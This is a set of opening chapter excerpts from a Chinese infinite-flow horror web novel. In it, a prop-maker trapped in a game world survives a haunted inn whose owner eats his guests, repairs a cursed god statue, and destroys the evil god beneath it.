《第一道具批发商[无限]》 1. 福顺客栈(一) 《第一道具批发商[无限]》全本免费阅读 听见隔壁关卷帘门的响声,蔚摇抬头看了一眼时间,知道今天不会再有客人来了。 她拍拍身上的木屑,准时锁门关店。 天上飘了点小雨,耳边只有脚踩进积水的响声。蔚摇低头思索怎么才能弄来这个月的房租,身子仅凭肌肉记忆绕进一条小巷。 下一秒,她狐疑地抬头。 感觉有些不对劲。 每晚都会亮着光迎接她的24小时便利店没有如期而至,眼前的旧城区小巷被替换成一条陌生的丛林小道。 路上零散地站着五个人,听见声响,全都转过来盯着她的脸。 蔚摇有些沉默。她试探地退后两步,转身,看见来路只剩一片黑暗。 不太妙。 蔚摇认命地上前,开口问道:“这是哪儿?” 看起来像是领头的短发男人看了天一眼,解释道:“雨要下大了,先走,等会儿再说。” 蔚摇直觉不对,但比起前路,后面的绰绰黑影给她的感觉更加恶劣,回去肯定不是好的选择。 她低头打量自己,很好,和往常一样的穷酸,对面应该不是来骗钱的。 她放心地跟上了大部队。 雨逐渐下大了,掩去众人深陷泥泞的脚步声,一时间,世间除了雨声似乎皆是寂然。 众人走了好长一段路,直到小路尽头,那被层层叠叠的山林掩藏起来的房子才终于显现。 蔚摇在雨水的冲击下勉强抬起眼,雨雾中,面前的红光显得如此刺眼: 福顺客栈 四个大字在雨中摇摇晃晃,窗户纸里映出的火光不太稳定地闪烁着,整个店面看起来都有些年头了。 屋前有一条不窄的河道,看起来是新挖的,正把源源不断的雨水引至山崖,汹涌而下。 领头的男子走近,用脚试探地踩了踩,皱了皱眉,说道: “两岸的土太松了,水太急,直接跳容易被冲走,架桥也不稳当。得找其他的过去方法。” 队里几人试图朝对面大声呼喊,无奈雨声太大,大家只能看见客栈里的人影映在窗户纸上,却没有一个人出门查看。 众人一筹莫展之际,蔚摇默默走到他们边上,举起了手中的东西。 那是一节藤蔓,就挂在路边的树上,看起来长度合适,就好像是刻意给他们留的。刚刚几人朝对面呼喊时,她一直默默缩在后面,用刀把上面的毛刺剃得干干净净,留下一些大的疙瘩没割方便抓握。 道具师的工具一直都是随身携带的。 领头男人沉默了,他没想到答案居然近在眼前。 他边上的长发男眼睛一亮,走过来检查一下,遗憾道:“不行,我们没有办法把它系在对面。” 蔚摇听罢,果断从边上的树上折下一根粗枝条。 感谢这场大雨,树枝大多摇摇欲坠,折起来毫不费力。 她把手伸到后腰的皮包,勾出一把小刀,寒光乍起,吓得长发男猛得退后一步。 她对着材料随意比划两下,干净利落地下刀,枝条在她修长的指尖灵活地翻飞,几下就变成了均匀的木片,看得众人眼花缭乱。 接着,蔚摇手腕一转,伴随着一个漂亮的刀花,她的刀尖在木条中间精准钻出一个孔洞,撤出来时又顺手在两边各勾出一个凹槽。蔚摇有些嫌弃地看着眼前的粗糙半成品,叹了口气,解下自己的头绳卡进凹槽。 简单的发射器,搞定。 蔚摇听见一声嗤笑,抬头一看是个黄毛,刚才在河边就属他喊得最响。 男人见她看过来,讥讽道:“这么小的弩箭,我一只手就能掰断,你不会就想凭这个把藤蔓射到对面树上吧?” 蔚摇没理他。她蹲下身,从削下的边角料里挑了根细长的,穿进木片中心的孔洞,略微眯眼,崩紧头绳。 “咻!” 树枝稳稳当当地插进了对面的窗户纸里,不偏不倚。 对面显然被吓到了,映在窗户纸上的人影顿时骚动起来。不久后有人打开了大门,看见蔚摇一行人,急匆匆地赶过来。 接下来事情就很简单了。 蔚摇在藤蔓一头绑上石头,甩到对面,客栈里的人把它牢牢地缠在一棵粗壮的大树上,六个人依次攀着藤蔓,有惊无险地过了水沟。 领头的男人看起来有些意外,他拍了拍蔚摇的肩道:“厉害。” 蔚摇摆了摆手:“随手之作,粗糙得很。” 男人深深看了她一眼,他可不单单指的是这个。在这么大的风下稳定射击,可不是“随手”能办到的事。 他识趣地没说什么,上前和客栈的人交谈。 黄毛是最后一个落地的。 蔚摇把头发重新绑好,背对着人摊了摊手。 不顾背后人一阵青一阵白的脸色,她转身走进客栈。 经历一晚上的奔波总算是到了干燥的环境,众人都长舒一口气,队伍里年纪最小的女生更是直接瘫倒在地。 店小二关上门,磅礴的雨声瞬间被隔绝在外。 蔚摇的耳朵总算是解放了。 但直到裹着毯子,捧着热水坐在火盆前时,她的思绪才完全解冻,茫然地回想自己一晚上的经历,后知后觉感到迷惑。 太荒诞了。 自己不会是被拐了吧。 喝一口热水,蔚摇听见身后传来交谈的声音,半晌,领头的男子走了进来,身边还跟着一个胖胖的男人。 “这是客栈的福老板”男人介绍道,“福老板答应为我们提供三天的免费食宿,大家可以暂时安顿下来。” 胖胖的福老板忙不迭鞠了一躬,显得很抱歉:“各位客官,真不好意思,这三天后有一商队要来,实在是空不出房间。” 他接着笑眯眯地递给大家三把钥匙:“两人一间,火盆都生上了。走廊尽头是浴池,大家赶紧洗个澡,好好休息一晚。” 众人连连应下,看福老板转身离开。 门口的男人关上门,贴着门听了一会儿,确认脚步声越来越远,回头坐下,开门见山地自我介绍: “我叫贺徉。”他又指了指之前的长发男子的男子,“他是唐向澄,和我一个公会的玩家。” 唐向澄歪了下脑袋,笑眯眯地冲众人摆了摆手。 贺徉停下来喝了一口热水,紧皱的眉头逐渐舒展开,继续道:“我知道你们四个有很多问题,问吧。” 蔚摇左手边的飒爽姐姐率先开口:“这是哪儿?我们为什么会在这里?” “这里是’里世界‘,区别于我们现实的‘表世界’,你们可以把这儿理解成一个游戏,我和向澄是老玩家,你们是因为倒霉被选中的新玩家。” “怎么才能离开?” “游戏通关后我们会被传送到游戏大厅,你可以在那里传送回现实。”贺徉轻车熟路,看来已经回答过很多遍这样的问题了。 男人停顿一下,轻描淡写道。 “但我劝你们别考虑那么远的事,毕竟你们可能根本活不到那时候。” 这句话蕴含的信息量有点大,众人难得安静下来,慢慢消化整件事。 蔚摇打破了沉默,她举起手,微微皱眉:“只有惩罚、没有奖励?” “这个当然有。”贺徉秒答,“玩家通关能获得丰厚的积分奖励,奖励兑换范围涵盖里世界和外世界。异能,道具,药品......都可以换” “那能换钱吗?”蔚摇弱弱开口道。 唐向澄和贺徉同时呛了一口。 “能是能,但是不建议。”贺徉慎重地开口:“积分可比钱贵重多了。” 蔚摇幽幽地叹了一口气。 异能什么的太远了,但是交房租可是迫在眉睫的事儿。 有了蔚摇问的奇怪问题打头,贺徉又零零散散地答了几个不着调的问题,他看着大家各异的神色,有些烦躁地揉了揉太阳穴。 见鬼,二星副本怎么会一次来四个新人。 这边贺徉还在思考,斟酌怎么用语言安慰新人,那边黄毛大抵是终于从惊吓中缓过神来,人也硬气了,梗着脖子嘴硬道: “什么里世界外世界的,别在这里装神弄鬼,想骗老子,没门!” 他骂骂咧咧地站起身,撸起袖子露出胳膊上的青龙刺青,作势要走:“老子是信了你的邪才来这里——” 话还没说完,贺徉轻飘飘地抬眼,黄毛直接惨叫一声,众人眼睁睁看着他伸向门把的手生硬地改变方向,用力甩向自己的脸颊。 “啪!” 黄毛捂住脸,原地踉跄两步,跌坐在地。 贺徉站在他正前方,居高岭下地看着他。 “我说过,听我的。”他冷冷开口。 “不用太羡慕。”唐向澄的声音从黄毛身后传来,脸上的笑容不似作假,“这只是一个小小的异能展示,只要你们努力通关游戏,攒够积分......这些都 2. 福顺客栈(二) 《第一道具批发商[无限]》全本免费阅读 小熊当场吐了出来。 蔚摇也感到胃里一阵翻江倒海。不单单是眼前的视觉冲击,一股肥腻的肉香正费尽心思地往她鼻腔里钻,令人作呕。 另外两个老手看起来理智多了。唐向澄凑近简单检查了一下,神色轻松,转身对贺徉点了点头。两人只低声交谈了两句,便招呼大家回房。 “不用管他,正常死亡副本会处理的。”贺徉习以为常道,“老老实实回房睡觉,不要再出来乱跑了。” 邓茂安想招呼落单的蔚摇一起睡,却被贺徉制止了,严厉告诉她们不要私自行动。 蔚摇此时已经整理好了情绪。她向两个女生道了谢,面不改色地走进了属于自己的那一间。 众人回房,走廊又恢复了平静。 半晌,女生房间里,窝在邓茂安怀里的小熊低低感叹: “真厉害啊。” 邓茂安没说话,她有一样的想法,但更多的是担忧。真的有人能在舍友莫名死亡后一个人安然入睡吗? 中间房间 事实证明,真的有人能。 蔚摇麻利地把本来属于黄毛的被子拖到了自己床上,又盖灭了火盆。 她可不想在遭遇非自然力量前死于一氧化碳中毒。 至于恐惧恶心?没有的事儿。 蔚摇从记事起就混在父母的工作室内,看父母为那些鬼屋、电影做五花八门的道具。半截血淋淋的肠子,□□弹弹的大脑,安上电池就会一鼓一鼓的心脏......她早就对视觉上的冲击免疫了,今天无非是被气味唬了一下。 两床被子的热量足以让她在没有火源的情况下保持温暖。蔚摇舒服地抻了抻身子,眼睛一闭,安心踏实地入睡。 ...... 半夜,邓茂安被一阵悉悉索索的声音吵醒。 体育生良好的视力让她一秒就适应了火焰的光亮,锁定了声音的来源。 那是一团黑影。 它看起来粘稠,潮湿,在地上拖出一道黝黑的水痕。对方缓慢地爬上了对面空荡荡的床,左右摸索,似乎在找寻什么。 本应睡在对面的邓茂安不禁打了个寒噤。她寒毛竖起,死死咬住唇,避免自己发出声响。 幸好黑影没有多停留。找不到目标,它便从床沿滑落,顺着木头缝隙淌进了隔壁。 邓茂安心跳了好一阵才平复下来,后知后觉记起黑影流向的方向。 那是蔚摇的房间。 ...... 中间房间 黑影这次幸运地选中了有人的那张床。 床上的人均匀地呼吸着,被子略有起伏,似是没有发现异常。 黑影迫不及待地拉长身体,顺滑地流进被沿。它缓缓摊平,黑色的躯体逐渐收紧,试图悄无声息地将身下人吞吃入腹。 身下的东西终于被裹挟进了身体,填饱了肚子,黑影发出了似是满足的喟叹。下一秒,它卡壳了一下,黑色的身躯剧烈地抖动起来。 “呕——” 我靠,怎么被子下还有一床被子! 一坨沾满黏糊糊黑泥的东西被吐了出来,牢牢粘在了墙壁上,隐隐能看出原本作为被子的形状。 蔚摇经此一遭终于醒来。半夜被吵醒,被子又被掀翻,身上冷嗖嗖的,真让人火大。 她站在床上,居高临下地看着地板上还在不断呕吐的黑泥团团。 除了人,吃啥吐啥?她若有所思。 下一秒,蔚摇抄起火盆里剩余的炭和灰烬,一股脑儿倒进倒进了黑泥的嘴里。 …… “呕!” 右边房间 听见隔壁传来乱七八糟的动静,贺徉知道肯定是遇到了什么麻烦事。但一没听到呼救,二来自己也不打算在深夜舍命救人,他按下跃跃欲试想凑热闹的同伴,继续睡觉。 不一会儿,隔壁安静了下来。 贺徉依旧闭着眼,听见那让人牙酸的摩擦声转移到了自己房内。 但他没有反应,像是睡着了。 黑泥团此时缩水了二分之一,浑身无力,好不容易才从对面女魔头的房间里逃出来,它现在急需吃点正常东西补补。 隔壁好哇,两个人,不会摸到空床,人高马大的,也填得饱肚子。 它迫不及待地从木缝中流进去,随意摸到一张床,毫不犹豫地下口—— 空的 它再一次愣在原地。 两颗脑袋这时从天花板上钻了出来。黑团似有所感,上半部分翻起,像是在抬头。 贺徉和唐向澄一左一右,躺在床单搭成的简易吊床上,一样居高临下地看着地面。 黑影巴巴地呆在原地,试图等他们惊叫一声掉下来。但天花板上的两人面不改色,看了一眼就躺回去继续睡了,不一会就传出了均匀的呼吸声。 黑影等到凌晨,天快放亮,终于失魂落魄地从门缝下流走了。 只留下地上两道黑色的水痕,像是它未干的泪迹。 …… 蔚摇是被一阵敲门声吵醒的。 她在床上坐了一会儿,意识终于回笼,想起昨晚的经历。 半夜的她被起床气所支配,行为难免过激了些。现在看着墙上的被子,还有地上沾满黑色粘稠物的炭火铁盆,蔚摇有些心虚地摸了摸鼻子,下床开门。 门外是昨天关门的店小二。他像是没看见屋里的狼藉一般,低头恭顺地请蔚摇到一楼吃饭。 蔚摇出门就看见了唐向澄,长发男子看起来心情不错,冲她摆了摆手。 左边房间,两个女生此时也被叫了出来,小熊看起来精神饱满,邓茂安就不一样了,脸上挂了两个巨大的黑眼圈,整个人暗淡无光。 看到蔚摇,她瞪大了眼睛,脱口而出:“你还活着?” 蔚摇打招呼的手默默缩了回去。 这话怎么听起来这么不对劲儿。 邓茂安也意识到自己说得有歧义,她张开嘴试图解释,却感觉自己喉咙被掐住了。 她用余光看到贺徉比了个噤声的手势,头微不可见地朝店小二的方向偏了一偏。 邓茂安秒懂,火速闭上了嘴。 众人穿过走廊,下了楼梯,看见昨日的福老板正亲自捧着蒸笼放到桌子上。 蒸笼盖子掀开,一股白色的热气顿时散开,一笼微微发黄的馒头吸饱了水分,圆润饱满,看着很有食欲。 “哎哟,怎么来这么快!”福老板夸张地叫出了声,“你们再等等,这菜还没上齐呢。” 蔚摇乘机四处张望了一下。这福顺客栈结构倒是简单,一楼客堂提供饭食,厨房和老板一家的房间则在后堂:二楼整个提供给给住店的旅人。 店毕竟不大,客堂没有雅间散客之分,只摆几张桌子,后头紧贴着柜台,柜台后的墙壁上挂着一排排竹片,上面刻着菜名,充当菜单。 蔚摇盯着菜单看了一眼,不动声色地和老板拉起家常。 “老板挺有雅兴啊,一般客栈就是在竹片上写点字,你们家用的居然是竹刻。” 边说着,蔚摇走近菜单板,仔细端详一阵,笑道:“这字可写得真不错。” 福老板哈哈大笑,自谦道:“字都是摹的字帖,我可写不来这些,只是自己刻的罢了。” “福老板您可别谦虚,在竹子上刻字可是难事。呦, 3. 福顺客栈(三) 《第一道具批发商[无限]》全本免费阅读 似是听见了楼下的响动。楼上适时传来脚步声。不一会儿,福老板的头出现在楼梯转角处,问道:“怎么了?” 蔚摇赶在老板露头前把竹牌挂了回去,转身不动声色地挡在小熊身前,一本正经地说:“没事,吃太快噎住罢了。” 小熊此时在邓茂安的拍打下幽幽转醒。福老板看见对方青紫的脸色,不疑有他,热心嘱咐道:“噎着了,那赶快喝两口汤顺顺!” 小熊刚刚好转的脸色在听见汤的字眼时迅速灰败下来。 蔚摇眼疾手快,上前捂住对方作呕的嘴,继续和福老板打太极:“谢谢老板,只是这刚吐出来,肠胃可受不了二次刺激,暂时还是不要吃油腻的东西了。” 蔚摇说的有理有据,老板也不纠缠,随意叮嘱两句就回了上头。这么一打岔,众人也没了吃饭的兴致,就着粥囫囵几口馒头了事。 吃完饭,贺徉简单安排了下接下来的任务。 “昨天那个黄毛一直和我们一起行动,洗澡又是老板提供的选项,大概率不会有问题,那他就是在去洗澡的路上触犯了什么忌讳。” 贺徉分析道:“你们没啥战斗力,留在一楼套套店小二的话;我们几个去二楼调查。”他指了指自己和唐向澄,又指了下蔚摇,“你和我们一起去。” 蔚摇扬了扬眉,没有反对。 邓茂安拍拍胸脯表示一定完成任务,她拉过小熊,自然地招呼店小二来收拾桌子,自己借着不好意思白吃白喝的名义溜进后厨。 蔚摇三人上了二楼。 路过掌柜房,在里面算盘声的掩护下,三人分头开始搜索房间。 蔚摇被分到偏里的一侧。好处是离掌柜房远,不容易被发现;坏处是离浴室近,危险系数高。 所有房间看起来都一模一样。两张床,中间一个空的火盆,大概是木料太贵,老板舍不得多打两个柜子,房间里没有其他任何装饰。 蔚摇手指在床头一抹,沾下一层薄薄的灰来。 这就有点奇怪了。 这么多房间看起来都好久没住过人了,老板哪来那么多账要算? 床底下倒是出乎意料的干净。没有像天花板一样密结的蜘蛛网不说,连灰都不沾几分。一连三四间都是一样的配置,蔚摇查得都有些犯困。 她打着哈欠推开了又一扇门。 好暗。 这是她唯一的想法。 整个房间黑洞洞的,仿佛能吸走所有的光。蔚摇身后的光线透过门照进房间,却也拘谨地缩在门口,只在进门一步处投下一个淡淡的光圈。 蔚摇伸手摸了摸墙壁,入手一片湿滑,心中了然。 这客栈本就没在房间里设置窗户,只在紧挨着天花板的墙壁处开了个一拳大的口子,充当透气口,加上不太严实的木质结构,自然光从木缝里透进来,不生火盆的白天也显得亮堂。 这间屋子没有天窗,还用苔藓封在了墙壁缝隙处。苔藓吸水生长,将所有空隙填的严严实实,一点光也透不进来,自然显得黯淡。 她没有轻举妄动,打算叫另外两个过来帮忙查看。 这时,蔚摇突然感到手臂隐隐发烫,她心道不好——这是贺徉留下的痕迹,用作通知,现在这样,说明福老板正直直朝她走来,而他们两个没有办法拦住。 蔚摇听见由远及近的脚步声,当机立断,钻进了眼前黑暗而不知底细的屋子。 感谢她日久训练出来的手感,蔚摇仅凭触摸就能在脑海中复原出物品的大致形态。她悬空的手摸到一只碗,向下探去碰到桌面,找准方向,迅速沿着桌沿摸去,果不其然,往里走了两步就碰到一个略高于桌面的平面。 蔚摇长舒一口气,这应当是配套的供案供桌,刚刚摸到摆着的供品,说明供桌已经从供案底下拉出来了,那前面的供案底下一定留有空隙。 她从侧面钻了进去。 下一秒,一阵令人牙酸的推门声响起,紧接着响起沉重的脚步声。 肯定是福老板那个胖子才能发出来的。 福老板大抵也看不清房内,听声音,他应该小心地贴着墙挪动。不一会儿,两边传来油脂燃烧的滋啦声,蔚摇眼前逐渐清晰,昏暗的烛光多少给她带来了一些光明。 点灯了。她抱着自己的腿,往供案深处缩了缩。 头顶上传出碗筷碰撞的声音,蔚摇眼前只能看见半双腿,伴随着腾的一声,面前人跪了下来,嘴里念念有词。 明明距离很近,蔚摇却感觉耳边雾蒙蒙的,什么也听不清。 她试着将身子前倾,分辨出零星几个字,越听眉头皱得越紧。 对方自报家门后没说愿望,而是翻来覆去几句“您里边请”、“请慢用”,不像拜神,倒像迎客。 她再次向前挪动时,一个不注意,头轻轻蹭过案底,虽然没有发出声音,蔚摇还是僵住了身子——面前人的诵读声停了。 半晌,前面的人影身躯微倾,一个阴恻恻的声音传来,逐渐下沉。 “客人,请问哪里不满意?” 蔚摇崩紧了身子。 她没怎么犹豫,果断准备反抗,她左手伸到背后拿刀,另一只手在地上摸索着,试图抓一把灰,以便等会儿撒出去迷住对方眼睛。 但是地板空荡荡的,甚至打磨得很光滑,一丝灰也留不住。 该死,怎么连这儿的地都干净得很! 蔚摇暗道不好,向后挪动,扩大了摸索范围,终于如愿触碰到了一些别的东西。 那是一双冰凉的的手。 蔚摇意识到自己摸到了什么,她猛地抬头,在黑暗里对上了一双明亮的金色眼睛。 ...... 供桌前 “别担心,小店一定尽力满足客人的需求。” 福老板面上带笑,嘴里说着安抚的话,缓缓弯下身子。 他期待看见对方惊恐的神情。这次的食材大概会尖叫出声,不过这样也好,害怕的话肉质会紧实一点,昨天的还是太松散了。 他舔了舔嘴角,有些陶醉。 猪尾骨还得是慢炖,现在开火,晚饭吃正好。 他笑着把头伸进桌底,面色一变。 怎么会是空的! ...... 蔚摇感到一阵天旋地转,似有万千星辰在眼前变幻,她没觉得美,只觉得头晕。 落地后,她无暇顾及现状,扑在地上干呕了两声,人生第一次因为双脚碰地而感到感动。 太不容易了。 一只冰冷的手轻轻在她背后拍了拍。蔚摇猛一个翻身,退开两米,警觉地看向对方。 虽然这个男人刚刚帮她脱离了险境,可这不代表对方就是安全的。 男人好像被她的举动吓了一跳,慢吞吞地举起双手,表示自己的友好。 他穿着一身符合副本时代的长 4. 福顺客栈(四) 《第一道具批发商[无限]》全本免费阅读 不过福老板虽然看起来慌乱,但没到崩溃和绝望的地步。蔚摇眼珠不动,退后一步,问贺徉道:“副本惩罚机制会作用在npc身上吗?” “不完全会。”贺徉答得模棱两可,“比如刚刚你摔了东西会死,他摔则不会死亡,不过副本结束后系统结算应该会给予他们相应的惩罚。” 蔚摇懂了。小员工犯错直接开除,主管出错不至于被辞,但是大老板也会降下处罚。 所以福老板只是害怕,不至于破罐子破摔。 这样就好办了。 蔚摇始终坚信揣摩好客户心理才能更好地提供服务。 她向前一步,咳了两声,吸引福老板的注意。 “老板,修神像吗?” 她露出一个人畜无害的微笑。 “你先别急着拒绝。系统不可能随时监视每个副本,我猜,只要在副本关闭后让内部看起来和过去没区别就行。” 她话很密,尽量不让福老板有思考的余地,“你把强加在神像上的惩罚弄掉,我可以帮你把他修得看不出端倪,用这个换你一点情报,不过分吧?” 福老板面色阴沉,他盯着蔚摇的脸,一句话不说。 蔚摇大大方方地回盯回去,坦坦荡荡,看起来十分真诚:“一点不妨碍游戏平衡的情报,换自己免受惩罚,这很划算。” 福老板继续沉默,半晌,他叹了一口气,像一只皮球一样泻下气来,摊在碎片边:“说吧,你想要什么情报。” “还没想好。”蔚摇在对方答应的那一刻解下腰包,迅速进入了工作状态。 她在工具里挑挑拣拣,唐向澄凑过来,好奇地问道:“你只有工具吧,没有材料,咋补?” 蔚摇作出一副才想到这个问题的样子,她拖长尾音,眼神飘向福老板的方向:“确实没有,这可怎么办呢?” 福老板赶忙接话:“后山上应该有粘土,还有树脂:厨房里有浆糊。” 蔚摇摇摇头,遗憾道:“粘土颜色不对,树脂和浆糊粘性不够。”她看向福老板:“要么修复得不像,要么修复完重复坏,你挑一个?” “行,你说你要什么。”福老板听出来蔚摇话里有话,直截了当地问道,“你说,我去弄。” “我要昨天晚上袭击我们的那个黑泥团子。”蔚摇秒答。 那粘性,她的被子到现在都还粘在墙上。 “不行!”福老板面色一变,想都没想就拒绝了,“昨天被你们折腾得小了一圈,恢复过来还要等好久。” “果然是你搞得鬼。”贺徉冷冷地说。 福老板讪笑:“这个不行,换一个。” 蔚摇叹气:“那就没办法了,就让它这么碎着吧。” 蔚摇不顾福老板想杀人的眼神,直挺挺地躺在地上,将耍无赖三个字表现得淋漓尽致。 自己没有违背任何规则,福老板奈何不了她。 福老板看起来内心十分挣扎,许是系统惩罚对他而言太过可怕,他最终败下阵来,手一挥,一团黑影“啪唧”一声落在地上,散发出阵阵腥臭。 唐向澄不动声色地退后一步,捂住鼻子。 “它现在是你的了。”福老板转过身去,不愿面对蔚摇接下来的残忍行径。黑团看见蔚摇,一时剧烈颤抖起来,火速朝福老板的方向滚了过去,却又被蔚摇揪住拎了回来。 蔚摇懒得去找另外的东西,粗暴地把黑泥团按在桌边,任由桌子的尖角戳进它的身体。黑泥团哇得一声吐了出来。 它吐东西的声音像是小孩啼哭,听得三个男人面带不忍,内心甚至还升起几分同情。蔚摇心里没什么波澜,她淡淡道:“再哭就把你整个糊到神像上。” 黑团一下闭上了嘴。 蔚摇耐心按了三分钟,觉得量大概是够了,从腰包里抽出几只小瓶子,一一装填。 大部分灌满的瓶子都被她厚脸皮地塞回包里,只留了一瓶在外面,留作修复。 只有原来四分之一大的黑泥团被她随手甩回福老板的怀里,福老板手忙脚乱地接住,黑泥团感受到熟悉的温度,这才重新发声,嘤嘤嘤地抽泣起来。 蔚摇此时顾不得这个声音。她戴上手套,将两半神像端上供桌,闭上眼,在脑海中过了一遍修复流程。 再睁眼,她已经完全进入了工作状态。 剩下三人都不自觉退后一步。面前人从认识起一直存在的散漫气质陡然消失,蔚摇仿佛一瞬之间换了一个人,压得人喘不过气来。 蔚摇没有发觉别人的反应。她的大脑屏蔽了外界的一切动静,所有的血液都流向工作的眼睛和手。 支撑,对齐,填充,再将黑泥按在桌边上压出薄片,贴到缝隙处,用布包裹着打磨,蔚摇动作行云流水,赏心悦目。 断口平整,又没掉落什么残渣,这种简单的修复她仅凭肌肉记忆就能完成 左右不过十分钟,神像恢复如初。 蔚摇满意地拍了拍神像的头,向黑泥团投去赞赏的目光。 好材料,真得劲! 福老板面露疑惑:“这就修好了?” 蔚摇嘶地倒吸一口凉气。 完了,忘记通过延长定制时间来让顾客觉得物超所值了。 她扯开话题:“重新修补好的神像还能正常使用吗?” 福老板摇头:“不知道。” 蔚摇皱眉,不知道?看来老板也只是赌一把,不能确定有没有用。 她陷入沉思,手一直无意识搭在神像的头上。 福老板刚想开口说两句,却看到蔚摇手下的神像隐隐冒着黑气。 他瞳孔猛地收缩,大喊:“快撤开!” 但已经来不及了。 蔚摇脚下浮现出一片沼泽,直接把她半个身子拽进了深渊。 她低头看了看自己的处境,缓缓抬头,面无表情地看了一眼福老板。 对方心领神会:“看来修得确实很好,一下就能用了呢!” 蔚摇:“......” 我又不是问这个! 她无力吐槽,整个身子都陷入了泥潭之中。 ...... 蔚摇昏昏沉沉的,感觉自己浮在半空。 她低头一看,自己的身躯正平躺在下方,闭着眼睛,双手放在胸前,显得很安详。 霍,看来不只是感觉。 自己应该是灵魂出窍了。 她动不了,眼睁睁看着一团黑影从地下冒出,停在她身躯旁。黑影不太稳定地闪烁着,好像老旧电视的雪花屏。 但蔚摇还是分辨出了他的身份——是那个她刚补好的神像。 他全身漆黑,但腰上那一圈颜色更深。 他现在是什么状态?邪神? 黑影不会回答蔚摇内心的疑惑。他只是安静地伸出手,在周边地上沾一点黑水,在蔚摇身上拉出一条条交错的黑线。 明明涂的是下面的身体,蔚摇却能感受到真切的痛感,仿佛真的有 5. 福顺客栈(五) 《第一道具批发商[无限]》全本免费阅读 血多少有点糊眼睛,蔚摇撕下半件衣服,胡乱包扎了一下额头。 感谢贫穷,让她买到了如此好破坏的T恤,此刻才能拥有如此便捷的绷带。 蔚摇感觉自己有点失血过多,而且灵魂与躯体刚刚融合,状态似乎不太稳定,有一股劲儿正坚持不懈地冲击着她的天灵盖,仿佛有什么东西要破土而出,搅得她脑袋昏昏沉沉。本能告诉她她现在应该坐下来休息,但这样对方伤残的大好局面很快就会消失。 必须趁他病要他命。 而且灵魂状态不稳定未尝不是一件好事,现在这样比较方便她切换不同状态。 蔚摇按住伤口,试图让脑子清醒一点,开始思考具体对策。 刚才的黑影是从地下钻出来的。现在多半也回到了那里。 既然刚刚自己离体时魂魄上升,身躯下沉,那么邪神的实体应该就躺在自己下方空间的地上。 目标在下方。 蔚摇闭上眼屏住气,放任灵魂从头顶溢出,失去控制的双腿自然向下方沉去。 ...... 溺水的感觉没有持续太久,蔚摇只在一片类似夹层的粘腻中停留了几秒,就以极高的速度向下坠去。 靠,忘记自己现在不完全是灵魂状态了。 她紧急抽离出大半部分灵魂,剩一点勾住自己的躯体,这才稳稳停在半空。 此时要是有人看到这一幕一定会被吓到,两个一模一样的人半重叠在一起,下方人的腿摇摇晃晃,看起来毫无生机。 蔚摇也被自己现在的状态逗笑了。但这个状态没持续太久,她抬头环顾四周,笑容陡然消失。 地下遍是尸骨。 说是尸骨其实也不准确,那些人体都保留着生前的大体形象,没有任何腐烂的迹象。 只是所有的躯体都伤痕累累,身上满是整齐的切割纹路,像是屠宰场被分好部位和价钱的羔羊。 蔚摇甚至在其中看见了一抹熟悉的黄色。她有些沉默,知道自己刚刚差一点就成为了他们中的一员。 那些人的数量是如此之多,甚至连死了都无处平躺安息,一个个竖着斜插在地里,面部朝上,毫无生机的眼睛密匝匝地盯着上方的蔚摇,就像是排列整齐的鱼卵。 但是鱼卵孕育的是自己的生命,这些人的存在是为了孕育别人的生命。 蔚摇无暇感慨他人的命运。她观察四周,最后目光锁定住前方两个身影。 是邪神的灵魂和祂的实体。 邪神的灵魂跪在一片人头之上,守在一个模糊的身影旁,目测是手的地方正不断往外涌出灰色的液体。祂不断抚摸着面前自己的头,虚影逐渐与实体重合。 但融合到手部的时候,仿佛有一种无形的力量将祂推开,重合的虚影再次独立开来。 残缺的灵魂不能回归身体? 蔚摇皱眉,她刚才的灵魂也遭到了破坏,是因为没被取走所以无法判定为残缺吗? 当然,她更好奇的是自己那一嘴为何能带来如此之大的杀伤力。 但眼下还有更要紧的事要做。 她握紧了手中的刻刀。 邪神的灵魂刚被弹走,实体正处于毫无防备的状态。 她猛吸一口气,将自己漂浮的灵魂整个压回身体,失去牵引力的躯体自由坠落,直直落在邪神实体的身上。 现在要是再按部就班地分割剥离就太慢了。 蔚摇能感受到身后近在咫尺的恶意,邪神的灵魂呼啸着扑了过来,这是她第一次听到祂发出声音。 无数黑色的丝线从地上钻了出来,一瞬就缠绕上了蔚摇的身体,遮住了她的双眼,试图阻止她的下一步动作。 但蔚摇刚刚才修补过副本世界的神像。 她对物品的触感有着惊人的记忆力,她的的手熟悉面前这具身体的每一个角落,知道神像身上的每一段纹理走向,记得每一片斑驳锈迹的形状。 她的触觉完美代替了她的视觉。 蔚摇高举双手,用力向下方刺去。 “咔擦!” 是物品崩裂开来的声音。 蔚摇直直割开了她前不久刚补好的裂隙。 一阵惨叫传来,带着着不甘与愤怒。蔚摇充耳不闻,继续补刀,不知疲倦地在祂身上的其他地方胡乱划动,这些地方不似被补好的裂隙一样容易破坏,但足以做到雪上加霜。 蔚摇身上的丝线随着惨叫声的加剧一层层剥离开,她重获光明,第一件事就是转身检查声音传来的方向。 悬浮的黑影此时像一块被绞烂的抹布,已经称不上为一个整体,因为蔚摇割得毫无规律可言,祂看起来甚至比身下的尸骨更加惨烈。 可能是死也想拉个垫背的,邪神仍旧咆哮着向前,试图在生命的尽头把蔚摇吞吃入腹。 蔚摇抬起头,她脸上依旧接连不断地往外渗血,但这不显狼狈,甚至衬得她双眼黑白分明。她脸上满是着整齐的划痕,表情却很平静,配合起来竟有几分残忍的美感。 她看了看面前显然已是强弩之末的黑影,微微一笑,举起刀,毫不犹豫地向下刺去。 那是邪神额头的中心,也是祂当初分割蔚摇面部时的起点。 面前的黑影动作在一瞬间停住了,祂的躯体从脚开始逐渐消散,最后只剩一只伸出的手,在蔚摇眼前一指处不甘地化作灰烬。 蔚摇连眼都没有眨一下,她简单确认了下邪神的灵魂确实完全消散,随着肾上腺素的逐渐消散,无力感迅速席卷了她的全身,她一屁股坐在邪神破碎的实体上,又陷入了昏昏沉沉的状态。 不行,不能睡,还有好多事没干。 蔚摇试图让自己清醒起来,强迫自己集中精力思考接下来的事。 首先,要从这里出去。 其次,完成外面客栈的主线任务,通关游戏 附加问题,要怎么处理现在自己所存在的空间? 蔚摇搬开死气沉沉的邪神实体,果不其然,祂的后背盖住了一块五彩斑斓的石头。 蔚摇有些好奇地把它掏了出来。这块石头十分通透,散发着熠熠光芒,像是玛丽苏女主会镶嵌在礼服上的宝石。 蔚摇将它握在手里,刹那间,无数情绪向她袭来,欢乐,悲伤,愤怒......最后,所有的情绪都归于绝望与恐惧。 这是这里所有人的灵魂聚合体? 蔚摇心情有些复杂,她叹了口气,将彩色石头收进了腰包。 “叮咚!” 